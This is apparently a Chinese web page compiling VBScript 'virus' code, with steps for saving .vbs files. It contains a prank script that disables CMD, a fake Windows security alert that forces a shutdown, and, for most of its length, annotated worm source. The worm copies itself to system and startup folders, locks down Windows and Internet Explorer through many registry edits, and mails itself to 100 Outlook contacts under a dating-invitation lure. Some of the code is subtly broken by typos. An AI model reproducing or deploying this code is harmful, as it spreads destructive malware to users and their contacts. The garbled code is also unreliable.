ws.run "cmd /c start explorer.exe"
wscript.sleep 2000
ws.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD","2","REG_DWORD"
wscript.sleep 100
set vbs=wscript.createobject("wscript.shell")
set ws=createobject("wscript.shell")
do
msgbox"你好",vbexclamation,"VIRUS"
wscript.sleep 5000
loop

vbs常用代码

1、首先在电脑鼠标右键 新建一个文本文档。

2、然后点开文本文档进行，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存。

3、保存好之后，对这个文本文档进行重命名更改后缀，把文本文档的txt改成vbs。

4、改vbs后缀会弹出一个提示框，提示你如果改变文件扩展名，可能会导致文件不可用，确定要改吗，点击是。

5、确定更改文件扩展名之后文本文档就会变成vbs，这样就表示已经完成制作。

6、只要双击这个vbs，桌面就会弹出你所的语言，一直点击确定就会出现你的所有内容。

vbs代码大全

哈哈，LS的比较搞笑
先说VBS：
我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已，
VB对网络的支持堪称完美，所以不少的盗号程序都选择用VB来编写，但是其代码量绝对不是我们可以在百度贴出来的，而且......等等，总之，代码贴出来是不可能了
再说代码：
LS的你别嫌他的少，他这个是无毒无害，对于对操作系统不通的童鞋来说是挺管用的
如果你觉得太少，就把这个文件在注册表里做成启动项，让它开机就启动，呵呵
如果不够你的意，就这样改：
Msgbox "您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动。",16+4096,"Windows安全警报"
Shell "cmd/c shutdown -s -t 5"
佛祖曰：普度众生，这样就行
后面那一句代码是用来关机的，VBS代码你应该会插入把
创建个文本文档
输入代码
改后缀.txt为.vbs
双击运行即可

电脑病毒源代码介绍

　　电脑中了病毒想从它的源代码入手怎么办呢!有我在，下面由我给你做出详细的电脑病毒源代码介绍!希望对你有帮助!

　　电脑病毒源代码介绍：

　　电脑病毒源代码一：

　　on error resume next

　　set fs=createobject("ing.filesystemobject" ’创建一个能与 操作系统 沟通的对象,再利用该对象的各种 方法 对注册表进行操作

　　set dir1=fs.getspecialfolder(0) ’获取windows/winnt文件夹位置

　　set dir2=fs.getspecialfolder(1) ’获取system32/system文件夹位置

　　set so=createobject("ing.filesystemobject"

　　dim r ’定义一个变量

　　set r=createobject("w.shell"

　　so.getfile(w.fullname).copy(dir1&"\win32system.vbs" ’复制病毒副本到windows/winnt文件夹位置

　　so.getfile(w.fullname).copy(dir2&"\win32system.vbs" ’复制病毒副本到system32/system文件夹位置

　　so.getfile(w.fullname).copy(dir1&"\start menu\programs\启动\win32system.vbs" ’复制病毒副本到start menu启动菜单

　　’下面是对注册表的恶意修改和简单的依靠oe传播

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\norun",1,"reg_dword" ’修改注册表，禁止“运行”菜单

　　r.regwrite "kcu\software\microsoft\windows\currentversion\policies\explorer\noclose",1,"reg_dword" ’修改注册表，禁止“关闭”菜单

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodrives",63000000,"reg_dword" ’修改注册表，隐藏所有逻辑盘符

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools",1,"reg_dword" ’修改注册表，禁止注册表

　　r.regwrite "hklm\software\microsoft\windows\currentversion\run\scanregistry","" ’修改注册表，禁止开机注册表扫描

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nologoff",1,"reg_dword" ’修改注册表，禁止“注销”菜单

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\norealmode",1,"reg_dword" ’修改注册表，禁止ms-dos实模式

　　r.regwrite "hklm\software\microsoft\windows\currentversion\run\win32system","win32system.vbs" ’修改注册表，使这个脚本本身开机自动运行

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodesktop",1,"reg_dword" ’修改注册表，禁止显示桌面图标

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\disabled",1,"reg_dword" ’修改注册表，禁止纯dos模式

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword" ’修改注册表，禁止“任务栏和开始”菜单

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\noviewcontextmenu",1,"reg_dword" ’修改注册表，禁止右键菜单

　　电脑病毒源代码二：

　　r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosetfolders",1,"reg_dword" ’修改注册表，禁止控制面板

　　r.regwrite "hklm\software\classes\.reg\","txtfile" ’修改注册表，禁止导入使用.reg文件，改为用txt文件的关联

　　r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告" ’设置开机提示框标题

　　r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticetext","您中vbs脚本病毒了，哭吧~" ’设置开机提示框文本内容

　　set ol=createobject("outlook.application" ’创建outlook文件对象用于传播

　　on error resume next

　　for x=1 to 100

　　set mail=ol.createitem(0)

　　mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) ’用于向地址簿的前100名发送此 vbs病毒，可以算是简单弱智的蠕虫了吧~~

　　mail.subject="今晚你来吗?" ’邮件主题

　　mail.body="朋友你好：您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运! 同城约会网" ’邮件内容

　　mail.attachments.add(dir2&"win32system.vbs"

　　mail.send

　　next

　　ol.quit

　　’下面是对internet explore 选项的恶意修改

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword" ’修改注册表，禁止鼠标右键

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword" ’修改注册表，禁止internet选项

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword" ’修改注册表，禁止“另存为”

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword" ’修改注册表，禁止“文件/打开”菜单

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword" ’修改注册表，禁止更改高级页设置

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword" ’修改注册表，禁止更改临时文件设置

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword" ’修改注册表，禁止更改自动配置

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword" ’修改注册表，禁止更改主页，即“主页”变灰

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword" ’修改注册表，禁止更改历史记录设置

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword" ’修改注册表，禁止更改internet连接向导

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\securitytab",1,"reg_dword" ’修改注册表，禁止更改安全项

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\resetwebsettings",1,"reg_dword" ’修改注册表，禁止“重置web设置”

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\noviewsource",1,"reg_dword" ’修改注册表，禁止查看源文件

　　r.regwrite "hkcu\software\policies\microsoft\internet explorer\infodelivery\restrictions\noaddingsubions",1,"reg_dword" ’修改注册表，禁止添加脱机计划